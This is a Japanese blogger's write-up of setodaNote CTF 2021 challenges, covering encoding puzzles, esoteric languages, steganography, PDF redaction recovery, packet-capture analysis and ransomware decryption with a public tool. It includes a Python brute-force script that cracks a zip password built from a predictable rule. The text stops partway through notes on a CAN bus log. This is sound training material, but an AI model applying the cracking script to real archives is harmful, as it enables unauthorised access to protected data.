プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

setodaNoteCTF write-up

setodaNote CTFに参加しました。そのwrite-up記事です。

2021/09/05 01:30 追記: 解けなかった問題のところに、他の方のwrite-upを読んだ感想を追加しました。

コンテスト概要

2021-08-21(土) 21:00:00 +09:00 – 2021-09-04(日) 21:00:00 +09:00 の期間でした。他ルールはRulesより引用:

setodaNote CTF について
    setodaNote CTF はサイバーセキュリティに関する設問を解くことで得られるポイントを競う競技です
    設問は9つあるカテゴリの中からそのテーマや解法などにより、最も関連するカテゴリに割り振られています
    すべての設問はある文字列が答えとなっており、この文字列のことをフラグと呼びます
    各設問に設けてある解答欄に正しいフラグを入力することでポイントを獲得できます
    フラグは何度でも入力することができます
    誤ったフラグを入力することによる減点はありません
    より早く、より多くのポイントを獲得したユーザがより上位となります
    得られるポイントは設問ごとに異なり、難易度に応じて配点されています
    設問にはヒントや CTF 初参加者向けの解説が掲載されている場合があります
    ヒントや解説は自由に見ることができ、何度閲覧しても減点等のペナルティはありません
    設問には特定のツールや環境がないと解くことが難しいものがあります
    設問を解くために必要なツールや環境を考え、見つけ、準備するところも含めて競技です
    なお、有償のツールや環境でしか解くことができない設問はありません
    設問構成の都合から上記と異なる制限等がある場合は、必ず設問中で説明がなされます
    ユーザ登録は個人で登録する形をとっていますが、チームでの参加を制限するものではありません。
    ご友人と一緒に相談しながらという形でご参加いただいても構いません。
フラグ形式
    特に指定がない限りフラグは flag{} という形式をとります
    設問の解答欄には例えば flag{This_is_a_FLAG!} などと入力して答えます
    フラグの形式を正規表現で表すと flag\{[a-zA-Z0-9!-/:-@\[-`|~ ]+\} となります
    フラグは大文字と小文字を区別します
    例えば flag{Note} が正しいフラグである場合に flag{note} は N と n が異なるため不正解となります
    設問構成の都合から上記と異なる形式をフラグとする場合は、必ず設問中でフラグ形式の説明がなされます
Linux ターミナルの提供について
    setodaNote CTF では Web ブラウザから利用可能な Linux ターミナルを提供しています
    一部の設問を解く際に利用するためのもので、利用の必要がある場合は必ず設問中で説明がなされます
    利用時に必要なユーザ名とパスワードは、本 CTF にご登録いただいているものと同じです
    ターミナルは隔離された環境であり、他のユーザとは共有されません
    ターミナルは利用の都度、初期化された環境が提供されます
    利用中に作成したファイルはターミナルの終了時にすべて削除されます
    ターミナルを設問を解く以外の目的で使用することは固く禁止します

結果

正の得点を得ている592アカウント中、8000ptsで18位でした。

得点と順位
正解状況等
色のついたジャンルが全完できたジャンル

環境

Windows+WSL2(Ubuntu)で取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19043.1165]

c:\>wsl -l -v
  NAME          STATE           VERSION
* Ubuntu        Stopped         2

他ソフト

  • IDA(Free版) Version 7.6.210507 Windows x64
  • dnSpy v6.1.8 (.NET)
  • Wireshark Version 3.4.5
  • 「うさみみハリケーン バージョン0.29」同梱の「青い空を見上げればいつもそこに白い猫 Ver1.08」(今公式サイトを見るとうさみみハリケーンの最新バージョンは0.35でした。次からは新しいバージョンを使います。)
  • Binary Editor BZ Version 1.9.8.5
  • LibreOffice Version: 7.0.6.2 (x64)
  • TestDisk 7.2-WIPからダウンロードしたのですが、これを書いているときにページの一番上にあるのはベータ版だと気が付きました)
  • Mft2Csv 2.0.0.42
  • pngcheck 3.0.3
  • Hash Suite 3.7 [64 Bits] [Free]

WSL

$ cat /proc/version
Linux version 5.10.16.3-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Apr 2 22:23:49 UTC 2021
$ uname -srvmo
Linux 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86_64 GNU/Linux
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show pip | grep Version
Version: 21.2.4
$ python3.8 -m pip show pycryptodome | grep Version
Version: 3.10.1
$ python3.8 -m pip show pwntools | grep Version
Version: 4.6.0
$ python3.8 -m pip show scapy | grep Version
Version: 2.4.5
$ python3.8 -m pip show tqdm | grep Version
Version: 4.62.1
$ curl --version
curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3
Release-Date: 2018-01-24
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL
$ sage --version
SageMath version 8.1, Release Date: 2017-12-07
$

解けた問題

[Misc, 20pts] Welcome

ようこそ setodaNote CTF へ

これはチュートリアル用の設問です。本 CTF では Linux ターミナルが利用できます。以下の URL からログインし、ターミナル上に存在するファイル welcome.txt の内容を確認し、フラグを獲得してください。

 https://ctf.setodanote.net/webshell
 ※ログインに必要なユーザ名とパスワードは、本 CTF にご登録いただいているものと同じです。  ※利用の必要がある設問の説明文には上記のリンクが記載されています。

指示通りにブラウザでURLにアクセスしてみると、IDとパスワードの入力が求められました。それらを入力するとシェルが起動してコマンドを入力できました:

======================================================================

Welcome to setodaNote CTF web based terminal!

 💻  This is an isolated environment and will not be shared with other users.

 ⏳  Idle sessions will automatically log out after 30 minutes.

 🧨  Any files you create in this terminal will be deleted when you exit.

 🚫  It is strictly prohibited to use this terminal for any purpose other than solving questions.

 📄  By using this terminal, you agree to the following privacy policy and terms of service.
     * https://ctf.setodanote.net/privacy
     * https://ctf.setodanote.net/tos

======================================================================
user@7ae3b01db4b9:~$ ls
welcome.txt
user@7ae3b01db4b9:~$ cat welcome.txt

  Welcome to the setodaNote CTF!!

  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  *                                 *
  *   flag{Enjoy_y0ur_time_here!}   *
  *                                 *
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

  This is the flag.

user@7ae3b01db4b9:~$

weocome.txtからフラグを入手できました: flag{Enjoy_y0ur_time_here!}

[Misc, 30pts] morse_one

友人から「秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらそのままでは読めないようです。添付されたファイルを解析し、秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。

配布ファイルを確認すると1行のテキストファイルでした:

DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB

おそらくいずれかの文字はモールス符号のツーに、別の文字はトンに相当するのだろう、多分Sは区切り文字だろう、と推測をつけました:

DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB
---. -- .--- -.- ... -..- -.-- - .--.
B    O  (無い符号)
...- .. -... .-. --- .--. .-.. . -..-
V    I  B    R   O   P    L    E X

後は問題文の指示通りに囲んで、フラグを入手できました: flag{VIBROPLEX}

フラグ内容を調べてみると、電鍵(=モールス符号を作るための装置)を作っている会社の名前みたいです。

[Misc, 50pts] Hash

ちくしょう、なんてことだ。知り合いから預かっていたファイルをゴミ箱に放り込みやがった。まだ中身の確認もしていなかったのにだ。問い詰める必要はあるだろうが、いまはとにかくファイルを取り戻すことが先決だ。優先順位を間違えてはいけない。とくにかくゴミ箱からファイルを取り戻さなくては。・・・なんだぁこいつは、ファイル名が書き換えられてしまっているじゃあないか。なんて野郎だクソっこれじゃほかのファイルと見分けがつかないじゃあないか。なんて日なんだ今日はよぉ。しかしまったくもって腹立たしいことは確かだが、まだ焦るのは早すぎるよなぁ。ぜんぜん焦る必要はねぇ。なぜならこっちにはファイルと共に受け取ったこのハッシュ値があるんだからよぉ・・・

添付ファイルを解析し、以下のハッシュ値を持つファイル見つけ出してください。フラグはそのファイルに記載されている文字列を組み合わせたものとなります。

aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962

添付ファイルを確認すると、テキストファイルが100個ありました。検索対象のハッシュ値はどのハッシュアルゴリズムの桁数のものなのかを調べると、SHA256の桁数と一致しました:

$ sha256sum pass001.txt
69856ad49e93e3bb3c39f6ae827e1f571156a623450bb36941dc3beda593511b  pass001.txt

各ファイルのSHA256ハッシュ値を計算してgrepで検索し、検索対象のハッシュ値を持つファイルを探しました:

$ sha256sum * | grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 | awk '{print $2}'
pass024.txt
$ sha256sum * | grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb | awk '{print $2}'
pass034.txt
$ sha256sum * | grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 | awk '{print $2}'
pass079.txt
$ cat pass024.txt pass034.txt pass079.txt | tr -d "\n"
flag{hardest_logic_puzzle} $

フラグを入手できました: flag{hardest_logic_puzzle}

[Misc, 80pts] F

友人のプログラマーからあるテキストデータを受け取りました。中身はあるプログラミング言語で書かれたプログラムだというのですが、、、

以下のテキストデータを解析し、フラグを得てください。

+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.

Brainf**kだなあと思いながらインタープリターを探しました。最初に見つけたbrainfuck interpreterで実行してみるとフラグが表示されました: flag{Don't_Use_the_F-Word!!}

[Misc, 80pts] magic_number

添付されたファイルから以下が示す3つのファイルを探してください。

[89 50 4e 47]
[52 61 72 21]
[ff d8 ff e0]

フラグは該当するファイル名を以下の順番にアンダースコアでつないで回答してください。

flag{[89 50 4e 47]_[52 61 72 21]_[ff d8 ff e0]}

例えばファイル名がそれぞれ以下の場合は flag{aaa_bbb_ccc} と答えてください。

[89 50 4e 47] = aaa.txt
[52 61 72 21] = bbb.exe
[ff d8 ff e0] = ccc.zip

配布ファイルを確認すると、色々な形式のファイルがありました。問題文の各4バイトで検索すると、それぞれPNGのシグネチャ、RARのシグネチャ、JPGのシグネチャだと分かりました。後は各拡張子を持つファイルを探しました:

$ ls *.png; ls *.rar; ls *.jpg
post.png
rar.rar
light.jpg
$

これらのファイル名を問題文のとおりに結合して、フラグを入手できました: flag{post_rar_light}

[Misc, 100pts] Stegano

友人からある画像が送られてきました。何かが写りこんでいるらしいのですが。

添付されたファイルを解析してフラグを入手してください。

悩んだ問題の1つです。まず、配布ファイルは以下の画像でした: 中央に文字列が見えたので、「青い空を見上げればいつもそこに白い猫」で見やすいよう調整しました: 1s_cReA73d_byと見えたので、flag{1s_cReA73d_by}を提出してみましたが不正解でした。pngファイルをstringsで調べるとxmp:CreatorTool="Adobe Photoshop 22.4 (Windows)"が見えたのでそのあたりをフラグとして提出してみたりしましたが不正解のままでした。ヤケになってflag{png}等も提出してみましたがもちろん不正解でした。

悩みながら「青い空を見上げればいつもそこに白い猫」で見え方を調整していると、左上の方にも文字列があることが分かりました: フラグの先頭です。もしかするとフラグの末尾もまだ隠れているのでは、と考えて別の見え方を探してみると右下四分の一ぐらいの位置にも文字列を見つけられました: これらの文字列をつなげて、正しいフラグを入手できました: flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}

(leet表記から戻そうと思ったんですけれど、最後以外はReality is created by the mindだと思うのですが、最後の英単語は何でしょう……?mind ragという熟語は無さそうですし……)

[Misc, 100pts] morse_zero

友人から「マジの秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらマジでそのままでは読めないようです。添付されたファイルを解析し、マジの秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。

配布ファイルを確認すると、UTF-8のテキストファイルでした:

‌‌​​Z​Z​‌​Z‌‌‌‌‌Z​​‌‌​‌Z​‌‌Z​‌‌‌‌Z‌​​Z‌Z​​​​Z​​‌‌​‌Z​​​Z​‌‌​Z​‌Z‌​‌​Z

どうやらZの間にも特殊な空白文字があるようです。空白文字を一括置換して、morse_one問題と同様にモールス符号へ置き換えました:

xxyyZyZyxyZxxxxxZyyxxyxZyxxZyxxxxZxyyZxZyyyyZyyxxyxZyyyZyxxyZyxZxyxyZy
..-- - -.- ..... --..-. -.. -.... .-- . ---- --..-. --- -..- -. .-.- -
(無い符号)
--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .
Z    E R   0     _      W   1     D   T H    _      S   P    A  C    E

問題文の指示通りに囲んで、フラグを入手できました: flag{ZER0_W1DTH_SPACE}

[Misc, 100pts] ransom_note

あなたの元に緊急の対応依頼が飛び込んできました。重要なファイルがランサムウェアによって暗号化されてしまった。なんとか助けてほしい。電話越しに状況を聞き取りつつ、1枚の画像が送られてきました。端末のディスプレイを写したもののようです。「No More Ransom Project の出番だな。」その画像を見た上司がつぶやきます。今回のあなたの仕事はランサムウェアによって暗号化されてしまったファイルを復元することです。

添付されたファイルを解析し、フラグを得てください。

配布ファイルを確認すると、ランサムウェアの被害にあったらしきデスクトップを撮影した画像と、脅迫文テキスト、それに暗号化されたらしきファイルが含まれていました。脅迫文テキストの1行目にはGANDCRAB V5.0.3の記載がありました。

No More Ransom Projectで検索してみると、ランサムウェアの特定 | The No More Ransom Projectページを見つけました。上部メニューの「復号ツール」箇所からGandCrab (V1, V4 and V5 up to V5.2 versions) Ransomのツールをダウンロードできました。常用のWindowsマシンで実行するのが怖かったので、Windowsサンドボックスで実行することにしました。

ダウンロードして展開したBDGandCrabDecryptTool.exeを実行しようとするとVCRUNTIME140.dll が見つからないと言われたため、VisualC++の再頒布可能パッケージを探しました。Visual Studio 2015 の Visual C++ 再頒布可能パッケージのようだったので、実行しようとしたexeと同じ32-bit版をダウンロードしてサンドボックスにインストールすると、無事にexeを起動出来るようになりました。起動して触ってみると、ネットワークに接続して何かしたあとに、暗号化されていたファイルを無事に復号できました。復号結果のテキストファイルにフラグが書かれていました: flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)}

[Misc, 120pts] Nothing

あなたは友人のプログラマーからあるテキストファイルを渡されました。中身を確認しますが画面には何も表示されません。何も書かれていないのか、いや、よく見ると、、、

添付されたファイルを解析してフラグを得てください。

配布ファイルを確認すると、空白文字だけで構成されるテキストファイルのようでした。WhiteSpace言語のインタープリターを探し、見つけたWhitespace Interpreterで実行してみると、フラグが表示されました: flag{And_Then_There_Were_None}

そして誰もいなくなった結果がWhitespaceということでしょう、きっと。

[Misc, 120pts] i_knew_it

「このアセンブリ、見た瞬間あなただと分かりましたよ。」

ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、フラグ形式で回答してください。

フラグに英字が含まれている場合は、すべて大文字で答えてください。例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。

問題文を読んでflag{RC4}を提出して正解しました。アセンブリで書かれたRC4は見た瞬間分かるか - yasulib memoという記事があったなあと考えていました。配布ファイルは2つの関数の逆アセンブル内容でした(画像省略)。

[Misc, 150pts] Redacted

あなたの友人のジャーナリストは極秘ファイルの入手に成功しました。ですが重要な部分が黒塗りにされてしまっているようです。このままでは真実が闇に葬り去られてしまいます。あなたは極秘ファイルの解析を依頼されました。

添付されたファイルを解析し、真実を明らかにしてください。

配布ファイル確認するとPDFファイルがありました。とりあえずAdobe Acrobat Readerで開いてみると文章が書かれており、フラグの有りそうな箇所は黒塗りにされていました。テキストとしてコピーや、黒塗りの後ろを画像としてコピーしようとしましたがうまくいきませんでした。LibreOfficeで開くと黒塗り箇所を動かすことができて、フラグを入手できました: flag{weather_balloon}

[Misc, 250pts] strong_password

あなたの同僚は部署内で利用されているパスワード規則に疑問を抱いているようです。脆弱なパスワードが生成されてしまうのではないかと。これを確かめるべく同僚は、過去実際にこの規則に従い作成されていたパスワード付きzipのコピーをあなたに送付し、その解析を依頼しました。

添付されたファイルを解析し、フラグを入手してください。なお、ファイルはコピーであり更新日時が実際にパスワード設定された日時とは異なる点に注意してください。

解けるまで時間のかかった問題の1つです。配布ファイルを確認すると、TopSecret.zip情報セキュリティガイドライン(別紙1).pdfがありました。PDFファイルには次の内容が書かれていました:

【機密情報】関係者限り
情報セキュリティガイドライン(別紙1)
発行日:2020 年04 月01 日
総務部 セキュリティ対策G
パスワードは以下の規則に従い定めること。規則に従い定めることで同一パスワードの繰り返し利用を防ぎつつも覚えやすく、また13 桁もある安全なパスワードとなる。
<パスワード設定規則>
・使用可能な文字種は以下とする
・英大文字 A~Z
・英小文字 a~z
・数字 0~9
・記号6 種(@、#、$、%、!、-)
・パスワードの形式は以下とする
・[案件コード] + [記号1] + [年月日] + [記号2] (例:Abc#20200401$)
・パスワードの各要素は以下の規則に従い設定する
・案件コード:案件を示す英字3 文字。大文字小文字は任意。
・年月日:年月日を表す数字8 桁(利用日に合わせ都度変更すること)。
・記号1:記号1 字を入れる。
・記号2:記号1 字を入れる。

ひとまず英数字や記号を全探索するコードを書きました。TopSecret.zipに含まれるTopSecret.zipの作成日時が2021/07/13だったので、最初はそのあたりの日かと考えましたが違いました。7月中かと考えてループ範囲を増やしましたが違いました。どんなに古くても文書発行の2020年4月からだろうと考えて、次のようなコードを寝ている間に実行したりしていました:

#!/usr/bin/env python3.8

import zipfile
import string
import sys
import tqdm

symbols = "@#$%!-"

with zipfile.ZipFile("TopSecret.zip", "r") as f:
    for month in tqdm.trange(1, 13, desc="mon", leave=False):
        for day in tqdm.trange(1, 32, desc="day", leave=False):
            for c1 in tqdm.tqdm(string.ascii_letters, desc="1st", leave=False):
                for c2 in tqdm.tqdm(string.ascii_letters, desc="2nd", leave=False):
                    for c3 in string.ascii_letters:
                        for s1 in symbols:
                            for s2 in symbols:
                                password = f"{c1}{c2}{c3}{s1}2021{month:02}{day:02}{s2}".encode()
                                try:
                                    # print(password)
                                    # f.extractall(path=".", pwd=password)
                                    b = f.read("TopSecret.txt", pwd=password)
                                    print(password)
                                    print(b)
                                except RuntimeError:
                                    continue
                                except zipfile.BadZipFile:
                                    # print(f"BadZipFile: {password}") # CRC32不一致時に通る、結構ある
                                    continue
                                sys.exit(0)
print("WHY NOT??????")

年月をいじったりしているうちに、最終的にパスワードがqYL%20210228!であることが分かり、フラグを入手できました: flag{And_n0w_h3re_is_my_s3cre7}

なお、最初のうちはZipファイルを開くwith zipfile.ZipFile("TopSecret.zip", "r") as f:処理をループ内部に書いていたのですが、それだと36倍以上遅かったです。また、上のコードではコメントアウトしているf.extractall(path=".", pwd=password)を使う処理だと2倍ほど遅かったです。全探索には定数倍改善が効果的ですね……。

[Network, 30pts] Host

あなたはある通信を保存したファイルを受け取りました。添付されたファイルを解析し、通信先の Web サーバのホスト名を特定してください。

フラグはホスト名をフラグ形式で答えてください。例えばホスト名が host.example.com であった場合、フラグは flag{host.example.com} となります。

配布ファイルを確認するとpcapファイルがありました。Wiresharkで開くと以下のHTTP通信1つだけが含まれていました:

GET / HTTP/1.1
Host: ctf.setodanote.net
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36 Edg/89.0.774.45
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ja,en;q=0.9,en-GB;q=0.8,en-US;q=0.7

HTTP/1.1 200 OK
Date: Mon, 08 Mar 2021 15:04:26 GMT
Server: Apache/2.4.6 (CentOS)
Last-Modified: Mon, 08 Mar 2021 14:49:37 GMT
ETag: "87-5bd078afca725"
Accept-Ranges: bytes
Content-Length: 135
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
  <head>
    <title>Hi, Welcome to CTF!</title>
  </head>
  <body>
    <p>May I help you?</p>
  </body>
</html>

HTTPリクエストヘッダーのHostフィールドからホスト名が分かるので、フラグを入手できました: flag{ctf.setodanote.net}

[Network, 50pts] tkys_never_die

うまく爆発を避けれられているといいが。爆発音とともに通信が途切れる間際、後輩からデータが送られてきました。ターゲットが重要なファイルにアクセスしたことを示す証拠だと言い残して。後輩のためにもデータを解析し、重要なファイルの内容を特定してください。

添付されたファイルを解析し、フラグを得てください。

配布ファイルを確認するとpcapファイルがありました。Wiresharkで開くと、/flag.pngを取得するHTTP通信がありました。Wiresharkの「File→Export Objects→HTTP...」を選択して「Wireshark Export HTTP object list」ダイアログを開いて、そこからflag.pngを保存しました。内容を確認するとフラグが書かれていました: flag{a_treasure_trove}

[Network, 120pts] echo_request

組織内の通信を監視している部署から不審な通信データがあるので解析をしてほしいと依頼がありました。通信自体は許可されたプロトコルが使用されているようですが、、、

添付されたファイルを解析し、フラグを入手してください。

配布ファイルを確認するとpcapファイルがありました。Wiresharkで開いて確認するとICMPのping送信が目立ちました。No.28のパケットから、ping送信でフラグを1バイトずつ送信していたので目視で集めてフラグを入手しました: flag{ICMP_Tunneling_T1095}

「MITRE ATT&CK T1095」で調べてみるとNon-Application Layer Protocol, Technique T1095 - Enterprise | MITRE ATT&CK®がヒットしました。為になるフラグで好きです。

[Network, 150pts] stay_in_touch

あなたはある事件の調査としてある人物の通信を監視しています。どうやら誰かと連絡を取り合っているようです。通信データファイルを解析し、やりとりの内容を明らかにしてください。

添付されたファイルを解析し、フラグを入手してください。

配布ファイルを確認するとpcapファイルがありました。Wiresharkで開いて確認すると、IMAPプロトコルでメールを受信しているようでした。Wiresharkで適当なパケットを右クリックして「Follow TCP Stream」を選択して別ウィンドウを開き、右下の「Stream」の数値を変えながら色々見ていると、tcp.stream==12の通信にZIPファイルが含まれてることに気づきました:

--------------E3A9083942D9027C4375FEE4
Content-Type: application/x-zip-compressed;
 name="Report-AV-T0097.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="Report-AV-T0097.zip"

UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6
s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hR
UgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAg
AAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB
0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA
--------------E3A9083942D9027C4375FEE4--

Base64デコードしたものをZipファイルとして保存すると、中にテキストファイルが含まれているもののパスワードがかかっていました。

tcp.stream == 12の通信の途中でSubject:から始まるEML形式らしいものが見えたので、その箇所からメール末尾らしいところまでをEMLファイルとして保存してみました。さてEMLファイルを読めるプログラムは何があるかなと考えて適当にメモ帳に投げると、メール本文はUTF-8だったようで普通に表示できました:

アカリ課長補佐

 あ、試作機のレポートが
 届いておりましたので転送しておきます。
 なかなかの性能のようです。

 パスワードは別にお送りします。


セトダ
(この後10段階ほどメールの引用がありますが省略)

そういうわけでパスワードは別の場所にあるみたいです。続きのStreamを見ていると、tcp.stream == 14の通信にパスワード含まれていました:

アカリ課長補佐

お疲れ様です。
セトダです。

 先ほどのファイルのパスワードです。

  Yatagarasu-Takama-Kamuyamato2


以上です。
よろしくお願いいたします。

そういうわけでYatagarasu-Takama-Kamuyamato2でZipファイルを展開できて、その中のテキストファイルにフラグが書かれていました: flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}

[Network, 150pts] yes_you_can

精密機械の技術者である古い友人から一通の封筒が送られてきました。中にはあなたに解析してほしいと震えた筆跡で書かれた手紙と1枚の SD カード。SD カードの中には1つのファイルが記録されていました。

添付されたファイルを解析してフラグを入手してください。

配布ファイルを確認すると、なんだかよくわからないテキストファイルがありました:

$ file *
dump.log: ASCII text
$ head -10 dump.log
(1628245600.155918) vcan0 095#800007F400000017
(1628245600.157006) vcan0 1A4#000000080000003E
(1628245600.157018) vcan0 1AA#7FFF00000000673F
(1628245600.157020) vcan0 1B0#000F0000000175
(1628245600.157023) vcan0 1D0#000000000000000A
(1628245600.158095) vcan0 166#D0320027
(1628245600.160232) vcan0 158#0000000000000028
(1628245600.160243) vcan0 161#000005500108002B
(1628245600.160245) vcan0 191#010010A141001A
(1628245600.160247) vcan0 133#00000000B6
$

読み方調べからなのかと思いながらなんとなくWiresharkウィンドウへD&Dしてみると、なんとWiresharkが認識してくれました。CAN通信のログファイルのようです。ここで問題名を見て笑みがこぼれました。

CAN通信について調べてみると、11bitのIDがデータ内容や送信ノードの識別の識別に使われるらしいことが分かりました。WiresharkではInfo列文字列の先頭がCAN IDのようなのでそれでソートして、各IDごとにどのようなデータが有るかを調べました。以下のものがメモです:

ID 0x039:
  {0x00, 0x0C},
  {0x00, 0x1B},
  {0x00, 0x2A},
  {0x00, 0x39},
ID 0x095:
  {0x80, 0x00, 0x07, 0xf4, 0x00, 0x00, 0x00, 0x08},
  {0x80, 0x00, 0x07, 0xf4, 0x00, 0x00, 0x00, 0x17},
 0x80, 0x00, 0x07, 0xf4, 0x00, 0x00, 0x00, 0x26},
  {0x80, 0x00, 0x07, 0xf4, 0x00, 0x00, 0x00, 0x35},
  {0x80, 0x00, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x04},
  {0x80, 0x00, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x13},
  {0x80, 0x00, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x22},
  {0x80, 0x00, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x31},
ID 0x133:
  {0x00, 0x00, 0x00, 0x00, 0x89},
  {0x00, 0x00, 0x00, 0x00, 0x98},
  {0x00, 0x00, 0x00, 0x00, 0xa7},
  {0x00, 0x00, 0x00, 0x00, 0xb6},
ID 0x136: {0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c}, (以下、最下位バイトだけが変化する: 1b, 2a, 39)
ID 0x13a: {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a}, (以下、最下位バイトだけが変化する: 19, 28, 37)
ID 0x13f: {0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00}, (末尾が0x1F増えていく)
ID 0x143: {0x6a, 0x6b, 0x00, 0xc2} (末尾が0x0Fずつ増えていく0xFFまで行く)
ID 0x158: {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a}, (末尾が0x0Fずつ増えていく, 0x37まで)
ID 0x161: {0x00, 0x00, 0x05, 0x50, 0x01, 0x08, 0x00, 0x0d}, (末尾が0x0Fずつ増えていく, 0x3aまで)
ID 0x164:
  {0x00, 0x00, 0xc0, 0x1a, 0xa8, 0x00, 0x00, 0x04}, (末尾が0x0Fずつ増えていく, 0x31まで)
  {0x00, 0x00, 0xc0, 0x1a, 0xa9, 0x00, 0x00, 0x03}, (末尾が0x0Fずつ増えていく, 0x30まで)
ID 0x166: {0xd0, 0x32, 0x00, 0x09}, (末尾が0x0Fずつ増えていく, 0x36まで)
ID 0x17C: {0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x03}, (末尾が0x0Fずつ増えていく, 0x30まで)
ID 0x183: {0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x10, 0x09}, (4バイト目と8バイト目がそこそこ変わる。怪しい。)
ID 0x188: {0x00, 0x00, 0x00, 0x00} のみ
ID 0x18E: {0x00, 0x00, 0x4d}, (末尾が0x0Fずつ増えていく, 0x7aまで)
ID 0x191: {0x01, 0x00, 0x10, 0xa1, 0x41, 0x00, 0x0b}, (3バイト目、7バイト目がたまに変わる)
ID 0x1a4: {0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01}, (末尾が0x0Fずつ増えていく, 0x3eまで)
ID 0x1aa: {0x7f, 0xff, 0x00, 0x00, 0x00, 0x00, 0x67, 0x02}, (末尾2バイトがたまに変わる)
